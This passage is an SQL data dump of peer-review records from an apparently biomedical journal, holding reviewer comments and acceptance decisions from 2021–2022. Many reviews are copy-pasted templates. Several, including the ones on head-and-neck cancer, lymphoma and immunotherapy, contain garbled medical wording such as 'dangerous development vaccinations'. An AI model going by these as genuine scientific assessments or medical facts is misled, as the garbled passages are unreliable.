in: \r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals)','ASSESSMENT OF KNOWLDGE, ATTITUDE AND PRACTICE OF MOTHERS IN CHILD BEARING AGE TOWORDS INSTITUTIONAL DELIVERY IN ADABA TOWN, ARSI ZONE, OROMIYA REGION, ETHIOPIA\r\nI have read this manuscript and I certainly congratulate the authors for their efforts.\r\nI think it could be acceptable if various aspects are modified and clarified.\r\n\r\nI have received the Cover Letter regarding a manuscript titled “ATTITUDE TOWARD VOLUNTARY COUNSELING AND TESTING FOR HUMAN IMMUNO DEFICENCY VIRUS/ ACQUIRED IMMUNO DEFICIENCY SYNDROME AND ITS UTILIZATION AMONG YOUTH (15-25 AGE) IN GINNIR TOWN, OROMIA REGION,SOUTH EAST ETHIOPIA.” But the manuscript is “ASSESSMENT OF KNOWLDGE, ATTITUDE AND PRACTICE OF MOTHERS IN CHILD BEARING AGE TOWORDS INSTITUTIONAL DELIVERY IN ADABA TOWN, ARSI ZONE, OROMIYA REGION, ETHIOPIA”\r\n\r\n\r\n-Sample size:\r\nIt seems that the sample size was calculated for prevalence. But, was the sample size calculated for the comparison of the results between the groups (Home /Institution )? What were the hypothetical differences between groups, power, etc., to calculate the sample size?\r\n-Questionnaire:\r\nWhat were the reliability and validity of this questionnaire?\r\nIn what language were the questionnaires used? Is the validity shown for the questionnaires in the original language or in translated version? Were the questionnaires translated into another language and reliability and validity re-evaluated?\r\nTranslation of a scale: \r\nIn addition to using rigorous translation and evaluation methods to ensure cultural equivalence, the psychometric properties of the instrument should be ensured in each culture or country where it is to be used, including item-scale correlations (Cronbach\'s alpha), comparisons of responses, the correlation of the scale with an existing gold standard or other similar instruments and the analysis of the psychometric properties of the instrument in relation to the subgroups of the population of interest).\r\n-Tables:\r\nIn dichotomous variables (such as Yes / No), just it is enough write one of the two possibilities (obviously the rest is the other value of the variable).\r\n-References:\r\nReview, please, the rules of the Journal.\r\nThe references are written in different styles. I advise that they be revised and written using the Vancouver style. \r\nThe abbreviations of journals should conform to those of the US National Library of Medicine for Medline / PubMed (available in: \r\nhttps://www.ncbi.nlm.nih.gov/nlmcatalog/journals)','2021-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4807,9911,10366,NULL,'5','g','n','y','y','Interesting study of a very common and serious problem worldwide.\r\n\r\nGiven that it is a descriptive study, it should be suggested in the conclusions that more studies are necessary or a longer follow-up time to confirm the conclusions of the study.\r\n\r\nThe article presents grammatical problems that must be reviewed prior to its final publication.\r\n','Interesting study of a very common and serious problem worldwide.\r\n\r\nIt is a descriptive study so there may be other factors not foreseen by the author. More studies or a longer follow-up may be necessary to reach definitive conclusions.\r\n\r\nThe article presents grammatical problems that must be reviewed prior to its final publication.\r\n\r\n','2021-11-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4820,11718,11234,NULL,'5','g','y','y','y','the manuscript \r\n    The data you collected in this manuscript is good. Based on these data this manuscript reaches the criteria for publication.','the manuscript \r\n    The data you collected in this manuscript is good. Based on these data this manuscript reaches the criteria for publication.','2021-11-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4823,18830,11566,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe author had well described the SOX4 and Gene Contributes in the Induction of Uterine Adenomyosis. And all the samples taken by Adenomyosis are typical gynecological disorders it is a myometrial lesion portrayed by the nearness of ectopic endometrial organs and stroma found inside the encompassing myometrium with contiguous myometrial hyperplasia and hypertrophy.\r\nThe author had observed Reported that the hypermethylated promoters of miR-129-2 and miR-203 lead to SOX4 overexpression and as part of conclusions the SOX4 gene participates in the induction of uterine adenomyosis as well as in many histological changes especially when in overexpression status.\r\nThe figures and tables are valid and well defined\r\nDefinitely, I will accept this article to publish.','','2021-11-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4830,20696,11589,NULL,'6','G','Y','Y','Y','ACCEPTED','ACCEPTED TO PUBLISH','2021-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4831,20696,11673,NULL,'6','G','Y','Y','Y','Accepted','Accepted to publish','2021-11-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4837,17211,11158,NULL,'5','G','y','y','y','Dear Author,\r\nThe estimated total annual economic cost of cancer globally was approximately USD 1.16 trillion in 2010—taking into account the costs of prevention and treatment plus the annual economic value of disability-adjusted life years (DALYs) lost to cancer. Most of the times the governments and governance mechanism fails to recognize the disease burden pertaining to the non-communicable diseases. Broader estimates of the costs of cancer, using a Value of Statistical Life approach that takes account of the longer-term costs to patients and their families, bring the annual global cost of cancer to USD 2.5 trillion. In this context authors explored the Cancer Economics under the title “Cancer Economics:  Global Economy, Intervention and implications in Cancer control in South East Asian countries”. The theory of supply and demand for cancer treatment and its impact on population service equality is non-existent because it relies primarily on surrogate indicators that can confuse us when planning medical. It may look realistic. Data deficiencies in health service policies and plans are obvious to those who do not understand the importance of numbers associated with service delivery. When care becomes available, political perspectives and real-life situations rarely match. Southeast Asian cultural backgrounds and family dynamics play a dominant role in the use of services. Microeconomic approaches such as microinsurance and remittance. The paper is generally well written and structured. According to my knowledge, I find the study to be appealing and thus I accept publishing the study.\r\n','','2021-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4838,17211,11232,NULL,'5','g','y','y','y','It is with great pleasure that I review the manuscript entitled “A Brief Note on Prevention of Metastatic Squamous Cell Carcinoma of Head and Neck”. It is indeed an interesting outlook on radiation therapy for privately progressed Squamous Cell Carcinoma of Head and Neck (SCCHN).\r\nThe abstract looks good describing about the Squamous Cell Carcinoma of Head and Neck in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have including 47% of patients determined to have privately progressed illness (III, IVA, and IVB), and 18% of patients with metastatic sickness (IVC).\r\nI liked the concept of using Platinum-based chemotherapy stays the bedrock of treatment for locally repetitive inoperable as well as metastatic SCCHN. \r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4839,17208,11450,NULL,'5','g','y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “Overview of Non-Hodgkin Lymphoma”. It is indeed an interesting outlook on NHL generally begins in lymph hubs or other lymph tissue, yet it can some of the time influence the skin. See Lymphoma of the Skin.\r\nThe abstract looks good describing about the significant locales of lymph tissue in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have sort of lymphoma relies upon what kind of lymphocyte is impacted (B cells or T cells), how mature the cells are the point at which they become dangerous, and different elements.\r\nI liked the concept of using Sorts of NHL can likewise be assembled dependent on how quick they develop and spread. \r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4840,17204,10925,NULL,'5','g','y','y','y','Dear Author,\r\nIt is with great pleasure that I review the manuscript entitled “Overview of Advanced Immunotherapy in Cancer Treatment”. It is indeed an interesting outlook on clinical evaluation of novel transport moves close (for instance oncolytic contaminations, dangerous development vaccinations, standard killer cell-intervened cytotoxicity) and mix medicines.\r\nThe abstract looks good describing about the actuated T-cell costimulatory molecule in a brief form. The manuscript is clearly written in sequential manner. The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have centering of malignancies with varieties of 4-1BBL composed against 4-1BB also have solid antitumor effects.\r\nI liked the concept of using unequivocal neoantigens can similarly function as ideal focal points of harm immunotherapy against set up malignancies. \r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n\r\n','','2021-11-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4844,11520,11492,NULL,'6','g','y','y','y','The aim of this study was to investigate the QoL of ICU patients after their discharge from the ICU and to evaluate the role of support from family members in a semi-urban area of central Greece. This study shows study shows that the QoL of patients following ICU discharge may be positively affected by the support from spouses or friends. Overall well written','','2021-12-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4846,9002,11093,NULL,'5','g','y','y','y','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future.The title proposed by the authors is clear. ','Author presented an interesting study. This subject could be of great interest to the research community and could be largely used in the future.The title proposed by the authors is clear. ','2021-12-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4848,11520,11451,NULL,'6','g','y','y','y','The aim of this study was to describe the most widely used small and large animal models that have been used to study CAVD. Overall well written.','','2021-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4849,11520,11120,NULL,'6','g','y','y','y','The aim of this study was to designed to isolate and test the lytic action of a bacteriophage specific to Pseudomonas sp.  In this research, author well explained to isolate Pseudomonas aeruginosabacteriophages in residential areas for further characterization. Overall well written','','2021-12-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4851,18830,11618,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nThe author had well described the weight-bearing synovial joints and bioelectrical impedance plethysmography and all the samples taken by weight-bearing joints are explained very well.\r\nThe author had observed the electrical impedance detection diagnostic technique, its scientific efficacy, and its sensitivity in comparison to other diagnostic technologies The article suggested that BIP can be used along with other diagnostic technologies for the detection & diagnosis of a variety of ailments.\r\nCalculations and methodology are also explained very well.\r\nI recommend to accept the article for publication.','','2021-12-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4852,11520,11092,NULL,'6','g','y','y','y','In the present study, mothers who had practiced pre lacteal feeding was high compared to the 2016 Ethiopian demographic health survey report. The purpose of this study was to assess the proportion and factors associated with pre lacteal feeding among mothers who attended the child immunization clinic in the public health facilities of Dire Dawa city, Eastern Ethiopia. This study was aimed to assess the proportion and factors associated with PLF. Overall well written','','2021-12-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4857,18913,11808,NULL,'4','G','Y','M','Y','1. Appreciate the author\'s efforts for the analysis of Storke cases over a period of nearly 3years. The outcome links only mean Triglyceride levels with severity of the stroke based on the Scandinavian Scale. As no other risk factors discussed were significantly associated with TG levels, I would appreciate it if researchers can try to establish at what level between the mean of TG levels of severe stroke patients (1.057±0.50 mmol/l) and mild to moderate stroke (1.809±0.79 mmol/l). \r\n2. Authors need to check in the methodology section the sentence that reads \'Scandinavian stroke scale is used to measure the severity of stroke. The patients divided into two groups: those with severe stroke SSS ?25 and those with mild/moderate stroke SSS> 25), which may be a typographical error.\r\n3. In the discussion very few studies are used. Appreciate it if more Indian studies are referred\r\n4. Methodology talks of 50 non-stroke cases (About 50 asymptomatic controls were taken) having been studied but the data is not shared\r\n5. In the introduction the details of various methods of TG estimation are superfluous, it could be limited to the method used for the study','A good original study that deserves publication. But the not referring to the controls in the data does not justify the method description (Case-control). Many references are listed (63), but very few are indicated in the text (introduction or discussions), this calls for Publishers guidelines and decisions. ','2021-12-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4861,11520,11115,NULL,'6','g','y','y','y','The aim of this study was to examine the determinants of the performance of logistics management information system in the health service delivery points under Jimma Zone, Oromia, Ethiopia. The study employed both descriptive and explanatory research methods. The study concluded that for LMIS performance, particularly function to achieve its effectiveness facility related factors failed to significantly predict the LMIS performance with lack of automated data recording tools and poor system implementation at the delivery points','','2021-12-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4867,11520,11432,NULL,'6','g','y','y','y','The main aim of this study is to describe this course in detail and to evaluate its impact on self-perceived confidence of the healthcare providers in managing violent situations and verify if the simulation could provide individual safety space for education. This study showed that simulation should have a mandatory place for students’ education. Based on the results, the methodology of the course will be slightly modified and for reflection that it is planned to use the e-portfolio. Overall well written.','','2021-12-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4868,11520,11084,NULL,'6','g','y','y','y','Wel written, Accepted','','2021-12-08',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4884,11520,11541,NULL,'6','g','y','y','y','The aim of this study was o assess knowledge, attitude, and preventive practice towards sexually transmitted infection among tewoderos preparatory school students in Debre tabor town, north-central Ethiopia. In this study author showed that knowledge and attitude of the respondents for STIs were not satisfactory. Hence, increasing awareness and improving the attitudes of the respondents towards STI must be the first action. Over all well written.','','2021-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4885,11520,11541,NULL,'6','g','y','y','y','The aim of this study was o assess knowledge, attitude, and preventive practice towards sexually transmitted infection among tewoderos preparatory school students in Debre tabor town, north-central Ethiopia. In this study author showed that knowledge and attitude of the respondents for STIs were not satisfactory. Hence, increasing awareness and improving the attitudes of the respondents towards STI must be the first action. Over all well written.','','2021-12-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4889,11520,11859,NULL,'6','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology. This paper has a potential to be accepted, but some important points have to be clarified or fixed before we can proceed and a positive action can be taken. Additionally, better citations will help the authors to provide better and more accurate information regarding Detecting SARS-CoV-2 in Oral Fluid. It is really unclear to me the Study Cohort part, explain briefly (2 more lines) about Estimation of Clinical Performance and Kit Failure Rate and add captions for these tables.','','2021-12-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4891,18838,11619,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nIn this paper, the authors have described neural link technology and the future of Neural Engineering. The authors\r\nhave clearly stated about the brain-machine interfaces, neural links, technologies, and various medical problems. All samples taken by a neural link are effective and describing its advantages and disadvantages are also conceptual.\r\nThe author had observed the neural link may be the bridge that connects human beings to the next level of artificial intelligence but many people might have reservations about a computer chipset inside their brains.\r\nThe figures are also very effective and valid to content.\r\nDefinitely, I will accept this article to publish.','','2021-12-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4894,11520,11739,NULL,'6','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology. This paper has a potential to be accepted, but some important points have to be clarified or fixed before we can proceed and a positive action can be taken. Additionally, better citations will help the authors to provide better and more accurate information regarding Detecting SARS-CoV-2 in nasal swabs','','2021-12-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4895,11520,11739,NULL,'6','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology. This paper has a potential to be accepted, but some important points have to be clarified or fixed before we can proceed and a positive action can be taken. Additionally, better citations will help the authors to provide better and more accurate information regarding Detecting SARS-CoV-2 in nasal swabs','','2021-12-10',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4897,14663,11786,NULL,'5','g','y','y','y','Thank you for the opportunity to review paper. To my opinion, Overall, the manuscript is extensively written, technically well performed and adequately discusses the reported findings in the context of the current knowledge. I had no major scientific issues, so I recommend the manuscript for acceptance. ','Thank you for the opportunity to review paper. To my opinion, Overall, the manuscript is extensively written, technically well performed and adequately discusses the reported findings in the context of the current knowledge. I had no major scientific issues, so I recommend the manuscript for acceptance. ','2021-12-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4901,18838,11852,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nIn this paper, the authors have described the anti-microbial effect of filtered 222nm excimer lamps in a hospital waiting area. The authors have clearly stated about the lamps and anti-microbial effects. All samples were taken by effects excimer lamps in a real-world setting at an out-patient pulmonology clinic. \r\nThe author had observed the technology of the future as they can generate a continuous anti-microbial environment in areas with high density and high flow-through of people..\r\nThe figures are also very effective and valid to content.\r\nDefinitely, I will accept this article to publish.','','2021-12-13',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4903,14071,11230,NULL,'5','G','y','y','y','It is with great pleasure that I review the manuscript entitled “Primary Intracranial Malignancies in the Era of Modern Radiation Therapy”. It is indeed an interesting outlook on concerning neurocognitive outcomes identified with cranial illumination, past examinations.\r\nThe abstract looks good describing about the Squamous Cell Carcinoma of our exploration group has likewise begun to targets investigating the job of Prophylactic Cranial Light (PCL) through the strategy of HS-WBRT in overseeing patients with obsessively nodal positive Non-Small Cell Lung Cancer (NSCLC). The subject in this article is worthy of investigation. The introduction provides sufficient background information for readers in the immediate field to understand the problem/hypotheses. The satisfactorily restoring esthetics, form, and function is to have initially proposed and done upcoming associate review with a longitudinal appraisal of neuropsychological or neurocognitive capacities.\r\nI liked the concept of using Optimization of stationary and moving beam radiation therapy techniques. \r\nThis is an interesting study and the paper is generally well written and structured. This paper is recommended for publication with no amendments. Congratulations on the excellent study.\r\n','','2021-12-14',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4920,10962,11949,NULL,'4','g','y','y','y','well writen manuscript. i have few suggestions.\r\n1- what is the statistical method?\r\n2-(https://doi.org/10.1089/lrb.2020.0093) and (10.1111/tbj.14072. Epub 2020 Oct 10.) suggested studies for the references.','i ll evaulate after revision','2021-12-15',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4944,11126,12013,NULL,'5','G','Y','Y','Y','A well writen report of an interesting case. Brief, to -the-point discussion section, good reference list.\r\nI fell the paper could be published in its present form.','','2021-12-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4946,20792,11963,NULL,'3','R','N','Y','Y','The manuscript explains the challenges correctly; however, I have a few concerns listed below:\r\n1) At some places author needs to use a formal style of writing. One such place in the abstract is \"I would like to discuss Japan\'s various issues raised and share my views regarding.\" A review is a compilation of recent and past published studies. These lines make the reader think that we are reading someone\'s point of view to a review.\r\n2) Major drawback of the study is the lack of citations. The author is majorly missing evidence/citations at the places where the author is validating the facts. Sources should be placed at the appropriate locations where the author explains the facts.','','2021-12-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4958,11954,11550,NULL,'5','g','y','y','y','the paper is well written and in an easy way for readers, and the data and results are well presented with good reasoning and discussion and comparison with similar studies.\r\nclear conclusions that can add on to the previous studies in the field.\r\ntherefore I strongly recommend for publication.\r\n','the paper is well written and in an easy way for readers, and the data and results are well presented with good reasoning and discussion and comparison with similar studies.\r\nclear conclusions that can add on to the previous studies in the field.\r\ntherefore I strongly recommend for publication.','2021-12-23',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4959,20665,11855,NULL,'5','g','y','y','y','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','2021-12-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4960,20792,12008,NULL,'4','G','y','y','y','A few English errors. \r\nThe first two lines of paragraph 2 state the fact, but the references are missing.\r\n','','2021-12-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4964,11520,11693,NULL,'6','g','y','y','y','The aim of this study was to To Assess prenatal Iron + folic acid supplementation and utilization among pregnant women attending ANC clinic in Ethiopia. This is an interesting study and the authors have collected a unique dataset using cutting edge methodology. The paper is generally well written and structured.','','2021-12-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4965,18830,11610,NULL,'5','g','y','y','y','can be publish','','2021-12-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4966,11520,11744,NULL,'6','g','y','y','y','The aim of this study was to assess practice and associated factors of traditional uvulectomy among caregivers having children less than 5 years old in Ethiopia. This is an interesting study and the authors have collected a unique dataset using cutting edge methodology. The paper is generally well written and structured','','2021-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4967,18838,11872,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nIn this paper, the authors have well described the essential thrombocytosis and  JAK2 V617F mutation. The authors have clearly stated about the hypereosinophilia and recurrent thrombosis: is it a new variant of myeloproliferative neoplasm. \r\nAll samples were taken by a knowledge, any case with the association of thrombocytosis, idiopathic/primary hypereosinophilia, and JAK2 V617 F mutation occurring together with recurrent thrombotic episodes has not been reported till now in the literature.\r\nThe author finally stated that the case represents a new variant of MPN with primary hypereosinophilia that needs further study and also raises the possible pathogenetic contribution of eosinophils, or their products, in  JAK2 positive Essential Thrombocythemia (ET) associated thrombosis.\r\nThe figures are also very effective and valid to the content.\r\nDefinitely, I will accept this article to publish.','','2021-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4968,11520,11684,NULL,'6','g','y','y','y','The aim of this study was to assess frequency of bed sore and its associated factors among rehabilitated cases in medical and surgical wards at yekatit 12 hospital medical college, Ethiopia. Overall well written ','','2021-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4969,11520,12170,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology. This paper has a potential to be accepted, but some important point have to be clarified or fixed before we can proceed and a positive action can be taken. Additionally, better citations will help the authors to provide better and more accurate information regarding experiences of healthcare staff and facilitators transitioning from in-person to virtual Schwartz Rounds throughout the COVID-19 pandemic. And also i suggest you to add figures/tables.\r\n\r\nThis is an excellent review, I find no fault whatsoever with the methods, Results, or conclusions. My suggestion is to add more References (minimum 10), and Tables/Figures to understand data through visual content. \r\n\r\n ','','2021-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4970,11520,12170,NULL,'4','g','y','y','y','This is an interesting study and the authors have collected a unique dataset using cutting edge methodology. This paper has a potential to be accepted, but some important point have to be clarified or fixed before we can proceed and a positive action can be taken. Additionally, better citations will help the authors to provide better and more accurate information regarding experiences of healthcare staff and facilitators transitioning from in-person to virtual Schwartz Rounds throughout the COVID-19 pandemic. And also i suggest you to add figures/tables.\r\n\r\nThis is an excellent review, I find no fault whatsoever with the methods, Results, or conclusions. My suggestion is to add more References (minimum 10), and Tables/Figures to understand data through visual content. \r\n\r\n ','','2021-12-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4972,18830,11951,NULL,'5','g','y','y','y','This article gives good information and adequate data.\r\nIn this paper, the authors have well-described the association between insulin resistance and metabolic syndrome with thyroid status in normal and overweight/obese populations. The authors have clearly stated the thyroid status and anthropometric parameters among normal (controls) and overweight or obese (cases) study participants. \r\nAll samples were taken by knowledge and data suggests that type 2 diabetes mellitus people are more likely to get subclinical hypothyroidism and subclinical hypothyroid population also show several complications associated with type 2 diabetes mellitus.\r\nThe author finally stated that atherosclerosis with increased blood cholesterol levels.\r\nThe figures and tables are also very effective and valid to the content.\r\nIn the tables, the interval and different types of observations are also valid.\r\nDefinitely, I will accept this article to publish.','','2021-12-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4973,11520,12036,NULL,'6','g','y','y','y','Well written manuscript','','2021-12-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4974,20696,11969,NULL,'5','G','Y','Y','Y','accepted','accepted to publish','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4975,20695,11969,NULL,'5','G','Y','Y','Y','accepted','accepted to publish','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4976,20695,11968,NULL,'5','G','Y','Y','Y','accepted','accepted to publish','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4977,20695,12091,NULL,'5','G','Y','Y','Y','accepted\r\n','accepted to publish','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4980,10967,11710,NULL,'5','G','Y','Y','Y','Good','Accept','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4981,10967,12013,NULL,'5','G','Y','Y','Y','Good','Accept','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4982,10967,11403,NULL,'5','G','Y','Y','Y','Good','Accept','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4983,10967,10930,NULL,'5','G','Y','Y','Y','Good','Accept','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4984,10967,10930,NULL,'5','G','Y','Y','Y','Good','Accept','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(4985,10967,10930,NULL,'5','G','Y','Y','Y','Good','Accept','2021-12-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5007,15826,12198,NULL,'5','r','y','y','y','thanks for this great paper','thanks for this sopportun?ity to rewiew this paper','2022-01-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5020,9000,12211,NULL,'5','g','y','y','y','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','2022-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5021,9000,12211,NULL,'5','g','y','y','y','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','2022-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5022,9000,12211,NULL,'5','g','y','y','y','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','This is an interesting manuscript.\r\nI have no comment about this manuscript. I think this manuscript deserves being considered for publication.','2022-01-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5029,11520,12205,NULL,'6','g','y','y','y','Accepted for Publication','','2022-01-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5030,11520,12229,NULL,'6','g','y','y','y','Accepted','','2022-01-31',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5034,14534,12405,NULL,'5','G','Y','Y','Y','The aim of this study  was to Cilium Incarnatum Externum And Its Management – A Rare Presentation in the same way to analyses They are detected under high magnification on a slit lamp biomicroscope.  If a patient presents with a lesion on outer lid margin a diagnosis of Cilium Incarnatum Externum should be kept in mind.This paper has a potential to be accepted.\r\nOverall well written and limited data.','','2022-02-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(5039,5467,12452,NULL,'4','g','y','y','y','great research\r\ntopic\r\nreview alphabetical errors\r\ncheck references, legends, 